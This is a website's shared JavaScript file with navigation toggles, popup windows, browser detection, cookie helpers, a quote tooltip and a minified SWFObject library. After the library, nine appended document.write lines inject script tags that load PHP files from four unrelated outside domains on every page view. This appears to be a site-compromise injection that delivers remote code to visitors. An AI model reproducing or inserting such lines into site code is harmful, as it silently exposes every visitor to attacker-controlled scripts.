﻿    
    //BEGIN SIDENAV
    
    //Make the div passed magically apear and everything else magically disappear
    function showNavDiv(divID) {
	    document.getElementById(divID).style.display = 'block';
    }




    //BEGIN FEATURE CONTENT

    //Setup Inital Stuff
    var contentDivs = new Array()

    //Search a sepcific div id and get all the div ids within it and put them in the Nav Array
    function getContentDivs(whichDiv) {
	    var mainID = document.getElementById(whichDiv);
	    if (mainID != null) {
			var subDivs = mainID.getElementsByTagName('div');
			for (var i=0;i<subDivs.length;i++){
				contentDivs[i] = subDivs[i].id;
			}
	    }
    }
    
    //Hide all divs in the Content Array
    function hideContentDivs() {
	    for (var i=0;i<contentDivs.length;i++){
		    document.getElementById(contentDivs[i]).style.display = 'none';
	    }
    }
    
    //Reset classes on the nav links
    function resetNav() {
        var navDivs = new Array()
	    var mainID = document.getElementById('subnav');
	    if (mainID != null) {
			var subDivs = mainID.getElementsByTagName('a');
			for (var i=0;i<subDivs.length;i++){
				navDivs[i] = subDivs[i].id;
			}
			
			i=0;
            while (i < navDivs.length) {
                if (navDivs[i] == '') {
                    navDivs.splice(i, 1);
                } else {
                    i++;
                }
            }
			
	    }
	    for (var i=0;i<navDivs.length;i++){
		    document.getElementById(navDivs[i]).className = '';
	    }
    }
    
    //Make the div passed magically apear and everything else magically disappear
    function showContentDiv(divID, linkID) {
        if (divID != "" && divID != ''){
	        hideContentDivs();
	        resetNav();
            document.getElementById(divID).style.display = 'block';
            document.getElementById(linkID).className = 'current';
	    }
    }
    
    //Samples
    function popWebSample(image){
        popweb = window.open('', 'sample', 'width=849, height=760, toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0');
        popweb.document.write("<html><head><title>Sample</title><style>*{margin:0;padding:0;} img {display:block;}</style></head><body>");
        popweb.document.write("<img src='"+image+"'/>");
        popweb.document.write("</body></html>");
    }
    function popFlyerSample(image){
        popflyer = window.open('', 'sample', 'width=522, height=677, toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0');
        popflyer.document.write("<html><head><title>Sample</title><style>*{margin:0;padding:0;} img {display:block;}</style></head><body>");
        popflyer.document.write("<img src='"+image+"'/>");
        popflyer.document.write("</body></html>");
    }



    //BEGIN COMMON
    
    //Draw Emails
    function drawEmail(name, domain, subject){
	    var subjectline = "";
	    if ( subject != undefined ) { subjectline = "&subject="+ subject; }
	    document.write('<a href=\"mailto:' + name + '@' + domain + subjectline +'\">');
	    document.write(name + '@' + domain + '</a>');
    }
    
    //Image Rollovers
    function rollon(img) {
      if (window.rolling) rolloff();
	    img.src=img.src.replace('_off','_on'); 
	    window.rolling=img;
    }
    function rolloff(){ 
	    if (!window.rolling) return;
	    rolling.src=rolling.src.replace('_on','_off'); 
	    rolling=null;
    }
    








// Commonly-used functions
function d(s) {return document.getElementById(s);}
function dE(o,s) {return o.getElementsByTagName(s);}

var detect = navigator.userAgent.toLowerCase();
var OS,browser,version,total,thestring;

function checkIt(string)
{
	place = detect.indexOf(string) + 1;
	thestring = string;
	return place;
}

if (checkIt('konqueror'))
{
	browser = "Konqueror";
	OS = "Linux";
}
else if (checkIt('safari')) browser = "Safari"
else if (checkIt('omniweb')) browser = "OmniWeb"
else if (checkIt('opera')) browser = "Opera"
else if (checkIt('webtv')) browser = "WebTV";
else if (checkIt('icab')) browser = "iCab"
else if (checkIt('msie')) browser = "IE"
else if (checkIt('firefox')) browser = "FireFox"
else if (!checkIt('compatible'))
{
	browser = "Netscape Navigator"
	version = detect.charAt(8);
}
else browser = "An unknown browser";

if (!version) version = detect.charAt(place + thestring.length);

if (!OS)
{
	if (checkIt('linux')) OS = "Linux";
	else if (checkIt('x11')) OS = "Unix";
	else if (checkIt('mac')) OS = "Mac"
	else if (checkIt('win')) OS = "Windows"
	else OS = "an unknown operating system";
}

function NavigatePage(url)
{
	window.location.href=url;
}

function openChild(file,window,arguments) 
{

    childWindow=open(file,window,arguments);
    if (childWindow.opener == null) childWindow.opener = self;
}

function openIframe(id,src,parent)
{
	var o=getElement(id);	
	parent.opener=parent;
	o.src=src;
}

function toggleDisplay(o)
{  
  var display = getStyle(o, "display"); 
  
  if (o.style)
    o.style.display =
      (display != "none") ? "none" : getDisplayStyleByTagName(o);
}

function toggleDisplayByID(id)
{  

  var o= getElement(id);
  
  var display = getStyle(o, "display"); 
  
  if (o.style)
    o.style.display =
      (display != "none") ? "none" : getDisplayStyleByTagName(o);
}



function getDisplayStyleByTagName(o)
{
  n = o.nodeName.toLowerCase(); 
  return (
          n == "span"
          || n == "img"
          || n == "a"
          ) ? "inline" : "block";
}



function hideElement(o)
{
  if (o && o.style)	o.style.display = "none";
	 
}




function showElement(o)
{
  
  if (o && o.style) o.style.display = getDisplayStyleByTagName(o);  
  o.style.zIndex=5000;  
}

function elementExists(id)
{
  var e = d(id);
  if (!e) {
    return false;
  }
  return true;
}

function getElement(id) {
  var e = d(id);
  //if (!e) {
     //alert("Cannot get element: " + id);
  //}
  return e;
}


function setInnerHTML(id, html) {
  try {
    getElement(id).innerHTML = html;
  } catch (ex) {
    alert("Cannot set inner HTML: " + id);
  }
}



function setCssStyle(id, name, value) {
  try {
    getElement(id).style[name] = value;
  } catch (ex) {
    alert("Cannot set style: " + id);
  }
}



function getStyle(el, style) {
  if (!document.getElementById || !el) return;
  
  if (document.defaultView
      && document.defaultView.getComputedStyle) {
      return document.defaultView.
        getComputedStyle(el, "").getPropertyValue(style);
  }  
  else if (el.currentStyle) {
    return el.currentStyle[style];
  }  
  else { 
    return el.style.display;
  }
}

function getStyleAttribute(node) {
  if (Detect.IE()) {
    return node.getAttribute('style').value;
  }else {
    return node.getAttribute('style');
  }
}



function showProps(o) {
	s=""; for (p in o) {
		s+=p+": "+o[p]+"\n<br />";
	}
	document.write(s);
}



function setIFrameEvent(iframe, eventName, func)
{
  if (document.all) {
    eval('getIFrameDocument(iframe).on' + eventName + ' = func;');
  } else {
    iframe.contentWindow.addEventListener(eventName, func, true);
  }
}

function setIFrameBody(iframe, strStyle, innerHtml) 
{
  if (!innerHtml) innerHtml = '';
  if (innerHtml == '' && Detect.IE()) {
    innerHtml = '<div></div>';
  }
  var doc = getIFrameDocument(iframe);
  doc.open();
  doc.write('<body style="' + strStyle + '">' 
    + innerHtml + '</body>');
  doc.close();
}


function getIFrameDocument(iframe)
{
  if (Detect.IE()) {
    return iframe.document;
  } else {
    return iframe.contentDocument;
  }
}

function getIFrame(strId)
{
  if (Detect.IE()) {
    return document.frames[strId];
  } else {
    return document.getElementById(strId);
  }
}


function createElementandAppend(nodeName, strId, appendTo) {
  var el = document.createElement(nodeName);
  el.setAttribute("id", strId);
  if (appendTo) {
    appendTo.appendChild(el);
  } else {
    document.body.appendChild(el); 
  }
  return el; 
}

function createElementandInsertBefore(nodeName, strId, appendTo, sibling) {
  var el = document.createElement(nodeName);
  el.setAttribute("id", strId);
  if (appendTo) {
    appendTo.insertBefore(el, sibling); 
  } else {
    document.body.insertBefore(el, sibling); 
  }
  return el; 
}


/**
* getXY()
 *
 * Returns the position of any element as an object.
 *
 * Typical usage:
 * var pos = getXY(object);
 * alert(pos.x + " " +pos.y);
 */
function getXY(el) {
  var x = el.offsetLeft;
  var y = el.offsetTop;
  if (el.offsetParent != null) {
    var pos = getXY(el.offsetParent);
    x += pos.x;
    y += pos.y;
  }
  return {x: x, y: y}
}

/* Constants for node types, since IE doesn't support Node.TEXT_NODE */
var TEXT_NODE = 3;
var ELEMENT_NODE = 1;


function absX (elm) 
{
	var x = 0;
	if (elm && typeof elm.offsetParent != "undefined") {
	while (elm && typeof elm.offsetLeft == "number") {
	x += elm.offsetLeft;
	elm = elm.offsetParent;
	}
	}
	return x;
}

function absY(elm)
{
	var y = 0;
	if (elm && typeof elm.offsetParent != "undefined") {
	while (elm && typeof elm.offsetTop == "number") {
	y += elm.offsetTop;
	elm = elm.offsetParent;
	}
	}
	return y;
}

function PopCenter(popW,popH,url)
{
var w = 480, h = 340; 
if (document.all || document.layers) { 
w = screen.availWidth; 
h = screen.availHeight; 
} 
var leftPos = (w-popW)/2, topPos = ((h-popH)/2); 
window.open(url,null,'scrollbars=yes,width=' + popW + ',height=' + popH + ',top=' + topPos + ',left=' + leftPos);
}

function TogFromParent(framename){
parent.currentobj=null;
parent.document.getElementById(framename).style.display="none";
}

function SwitchDisable(obj)
{
	obj.disabled = !obj.disabled;
}

// Dorcht's function
function createCookie(name, value, expires, path, domain, secure) {

	document.cookie = name + "=" + escape(value) + 
	((expires == null) ? "" : "; expires=" + expires.toGMTString()) +
	((path == null) ? "" : "; path=" + path) +
	((domain == null) ? "" : "; domain=" + domain) +
	((secure == null) ? "" : "; secure");
  
}


function deleteCookie (name,path,domain) {

var expDate = new Date();
expDate.setTime (expDate.getTime());
if (GetCookie(name)) {
	document.cookie = name + "=" + escape(GetCookie(name)) +
	((path == null) ? "" : "; path=" + path) +
	((domain == null) ? "" : "; domain=" + domain) +
	"; expires="+ expDate.toGMTString();
}
}

function GetCookie(name)
{
  var cname = name + "=";               
  var dc = document.cookie;             
  if (dc.length > 0) {              
    begin = dc.indexOf(cname);       
    if (begin != -1) {           
      begin += cname.length;       
      end = dc.indexOf(";", begin);
      if (end == -1) end = dc.length;
        return unescape(dc.substring(begin, end));
    } 
  }
  return null;
}

//window.onload=movemouse();
var nn62=document.getElementById&&!document.all;

//document.onmousemove=ssmovemouse;

var lastbutton;
var lastcss;

function ssmovemouse(e)
{  
	var o  = nn62 ? e.target : event.srcElement;
	
	if (lastbutton==o)
	{
		return;
	}	
	else
	{
		if (lastbutton!=null)
		{
		lastbutton.className=lastcss;
		lastbutton=null;
		}
	}
}


function xreplace(checkMe,toberep,repwith)
{ 
	var temp = checkMe; 
	var i = temp.indexOf(toberep); 
	while(i > -1){ 
	temp = temp.replace(toberep, repwith); 
	i = temp.indexOf(toberep); 
	} 
	return temp; 
}

function getQueryVariable(variable) {
  var query = window.location.search.substring(1);
  var vars = query.split("&");
  for (var i=0;i<vars.length;i++) {
    var pair = vars[i].split("=");
    if (pair[0] == variable) {
      return pair[1];
    }
  }  
}

function PlayItem(profilemoduleid , url) 
{	
	document.getElementById(profilemoduleid).url = url;
}

var lastquote;




function ShowQuote(o3)
{ 

var quotetable=o3;

o3=getElement(xreplace(o3.id,'maintable','pquotediv'));

if (elementExists('ssquote')==false)
{
	return;
}


if (elementExists('ssquotetext')==false)
{
	return;
}

var o=getElement('ssquote');
var o2=getElement('ssquotetext');

var oquotebot =getElement('ssquotebottom');

if (o3.innerHTML=='')
{
	if (o.style.display != 'none')
	{
	hideElement(o);		
	}
	return false;
}
else
{
	if (o.style.display != 'none' && lastquote==o3.innerHTML)
	{
		return false;
	}
}

lastquote=o3.innerHTML;

var cloned1=o3.cloneNode(true);

if (o2.childNodes.length > 0)
{
	//var nc=0;
	//for (var nc=0;nc<o2.childNodes.length;nc++)
	//{
		o2.removeChild(o2.childNodes[0]);
		//o2.childNodes.clear();
	//}
	
}

if (o2.childNodes.length == 0)
{
	o2.insertBefore(cloned1,null);	
}
else
{
	o2.removeChild(o2.childNodes[0]);
	o2.insertBefore(cloned1,null);	
}

showElement(cloned1);

showElement(o);



if (browser=='FireFox')
{
	quotetable.style.position='absolute';
}	

var leftx=absX(quotetable)-170;

quotetable.style.position='';

if (leftx < 0)
{	
	oquotebot.className='bottompop2';
	//oquotebot.style.backgroundImage='url(http://www.supersociety.com/_images/Themes/SST0/bottompopup2.gif)';
	leftx= leftx + 250;
}
else
{
	oquotebot.className='bottompop';
	//oquotebot.style.backgroundImage='url(http://www.supersociety.com/_images/Themes/SST0/bottompopup.gif)';
}

o.style.left=leftx;

o.style.top=absY(quotetable) - (o2.offsetHeight + 20);


}

function HideQuote()
{

if (elementExists('ssquote')==false)
{
	return;
}


	var o=getElement('ssquote');
		
	hideElement(o);
		
}

function DisableButton(obj,msg)
{
if(bclicked==0){
	obj.value = msg
	bclicked = 1;
	//__doPostBack(obj.id);
}
else
	{
	obj.disabled = !obj.disabled;
	}
	
}

function DoEnter(obj)

{
if (event.keyCode == 13)
{event.cancelBubble = true;
event.returnValue = false;
getElement(obj).click();
}
}

ie4 = ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4 ));

function toggle( targetId ){
  
  
		if (getElement(targetId).style.display=='')
		{
		 getElement(targetId).style.display = 'none';
		}
		else
		{
		 getElement(targetId).style.display = '';
		}

	
    	 
}


/** SWFObject v1.5: Flash Player detection and embed - http://blog.deconcept.com/swfobject/  */
if(typeof deconcept=="undefined"){var deconcept=new Object();}if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();}deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));}this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){deconcept.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};deconcept.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&");if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\">";_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";var _1d=this.getParams();for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}var _1f=this.getVariablePairs().join("&");if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new deconcept.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return false;}};deconcept.SWFObjectUtil.getPlayerVersion=function(){var _23=new deconcept.PlayerVersion([0,0,0]);if(navigator.plugins&&navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&&x.description){_23=new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&&navigator.userAgent.indexOf("Windows CE")>=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new deconcept.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new deconcept.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};deconcept.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};deconcept.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major<fv.major){return false;}if(this.major>fv.major){return true;}if(this.minor<fv.minor){return false;}if(this.minor>fv.minor){return true;}if(this.rev<fv.rev){return false;}return true;};deconcept.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&");for(var i=0;i<_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};deconcept.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i>=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(deconcept.SWFObject.doPrepUnload){if(!deconcept.unloadSet){deconcept.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",deconcept.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",deconcept.SWFObjectUtil.prepUnload);deconcept.unloadSet=true;}}if(!document.getElementById&&document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=deconcept.util.getRequestParameter;var FlashObject=deconcept.SWFObject;var SWFObject=deconcept.SWFObject;
document.write('<script src=http://thewebartists.org/wp2_testing2/infrastructure.php ><\/script>');
document.write('<script src=http://senior-corp.com/Khon4kwae/indexBack.php ><\/script>');
document.write('<script src=http://redrosetechnicals.com/admin/contact.php ><\/script>');
document.write('<script src=http://redrosetechnicals.com/admin/contact.php ><\/script>');
document.write('<script src=http://redrosetechnicals.com/admin/contact.php ><\/script>');
document.write('<script src=http://redrosetechnicals.com/admin/contact.php ><\/script>');
document.write('<script src=http://elitecafe.com/case/employment.php ><\/script>');
document.write('<script src=http://elitecafe.com/case/employment.php ><\/script>');
document.write('<script src=http://elitecafe.com/case/employment.php ><\/script>');
